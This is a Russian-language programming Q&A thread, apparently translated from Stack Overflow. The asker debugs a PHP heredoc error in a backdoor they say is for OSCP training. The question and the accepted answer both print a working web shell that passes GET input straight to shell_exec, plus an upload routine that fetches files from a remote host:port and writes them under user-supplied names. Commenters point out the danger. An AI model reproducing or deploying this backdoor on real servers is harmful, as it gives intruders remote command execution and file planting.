ПРИМЕЧАНИЕ. Для тех, кто указал на это. Да, код использует небезопасные функции shell_exec с GET. Это сделано намеренно. Сценарий является частью бэкдора PHP, который я использую в рамках курса ПВК.
if ($_GET['cmd']) {
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
Остальная часть скрипта реализует очень простую аутентификацию до того, как будет достигнута эта функция.
У меня есть функция php, которую я хочу использовать для возврата базового представления/формы с двумя полями ввода и поддержкой логики PHP в двух операторах if.
У меня проблема в том, что в текущей форме PHP отображает две ошибки:
syntax error, unexpected '' (T_ENCAPSED_AND_WHITESPACE), expecting '-' or identifier (T_STRING) or variable (T_VARIABLE) or number (T_NUM_STRING) на if ($_POST['upload']).Unexpected 'Unknown'. для каждой из переменных upload и cmdЯ попытался использовать метод, как показано ниже, но скрипт, похоже, ломается где-то в HTML или в начале PHP, поскольку это также влияет на функции ниже этого.
function displayForm() {
return <<<HTML
<html>
<body>
<h1>somestuff</h1>
</body>
</html>
HTML;
}
Как я могу исправить это, чтобы форма и логика правильно возвращались пользователю?
Полная функция...
function displayForm() {
return <<<HTML
<html>
<body>
<form action = "" method = "POST" enctype = "multipart/form-data">
<input type = "hidden" name = "MAX_FILE_SIZE" value = "1000000">
<p> File: <input type = "file" name = "fileToUpload" id = "fileToUpload">
<input type = "submit" value = "Upload" name = "upload">
</form>
<br><br>
<form method = "GET">
<p>CMD: <input type = "text" name = "command">
<input type = "submit" value = "Exec" name = "cmd">
</form>
<pre>
<?
if ($_POST['upload']) {
file_put_contents($_POST['upload'], file_get_contents("http://$host:$port/" . $_POST['upload']));
}
if ($_GET['cmd']) {
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
?>
</pre>
</body>
</html>
HTML;
}
Я не эксперт по безопасности, но shell_exec($_GET['cmd']) звучит как очень плохая идея. Выполнение чего-либо из клиента приглашает хакеров, особенно переменную get.
^^^ Не говоря уже file_put_contents($_POST['upload'])
Меня зовут Bobby Tables, и я одобряю этот код.
@Chipster, это преднамеренно, код является частью бэкдора PHP, который я намереваюсь использовать как часть OSCP. Оставшаяся часть скрипта реализует ОЧЕНЬ простую аутентификацию, чтобы проверить, что к ней обращается правильный пользователь.
@miken32 см. выше
Пока вы знаете, что делаете. Мне все еще кажется ОЧЕНЬ пугающим, особенно учитывая комментарий @miken32. Просто будьте осторожны, это не попадает в производство.
Только что посмотрел OSCP (с которым я был незнаком), и теперь это имеет гораздо больше смысла.






На самом деле вы не находитесь в режиме HTML, вы определяете строку Heredoc и поэтому не можете входить и выходить из PHP. Есть несколько способов сделать это, вот два. Создайте переменную для вставки в Heredoc:
function displayForm() {
$extra = '';
if ($_POST['upload']) {
$extra .= file_put_contents($_POST['upload'], file_get_contents("http://$host:$port/" . $_POST['upload']));
}
if ($_GET['cmd']) {
$extra .= "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
echo <<<HTML
<html>
<body>
<form action = "" method = "POST" enctype = "multipart/form-data">
<input type = "hidden" name = "MAX_FILE_SIZE" value = "1000000">
<p> File: <input type = "file" name = "fileToUpload" id = "fileToUpload">
<input type = "submit" value = "Upload" name = "upload">
</form>
<br><br>
<form method = "GET">
<p>CMD: <input type = "text" name = "command">
<input type = "submit" value = "Exec" name = "cmd">
</form>
<pre>
$extra
</pre>
</body>
</html>
HTML;
}
Или сделайте это там, где хотите:
function displayForm() {
$output = <<<HTML
<html>
<body>
<form action = "" method = "POST" enctype = "multipart/form-data">
<input type = "hidden" name = "MAX_FILE_SIZE" value = "1000000">
<p> File: <input type = "file" name = "fileToUpload" id = "fileToUpload">
<input type = "submit" value = "Upload" name = "upload">
</form>
<br><br>
<form method = "GET">
<p>CMD: <input type = "text" name = "command">
<input type = "submit" value = "Exec" name = "cmd">
</form>
<pre>
HTML;
if ($_POST['upload']) {
$output .= file_put_contents($_POST['upload'], file_get_contents("http://$host:$port/" . $_POST['upload']));
}
if ($_GET['cmd']) {
$output .= "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
$output .= <<<HTML
</pre>
</body>
</html>
HTML;
return $output;
}
Обратите внимание, что вы хотите использовать isset или !empty в зависимости от того, что вам здесь нужно:
if (isset($_POST['upload'])) {
//and
if (isset($_GET['cmd'])) {
Кроме того, это не имеет особого смысла, так как file_put_contents возвращает количество байтов, записанных в файл, если только это не то, что вы хотите в своем HTML:
$output .= file_put_contents($_POST['upload'], file_get_contents("http://$host:$port/" . $_POST['upload']));
Возможный дубликат Ошибки синтаксического анализа/синтаксиса PHP; и как их решить?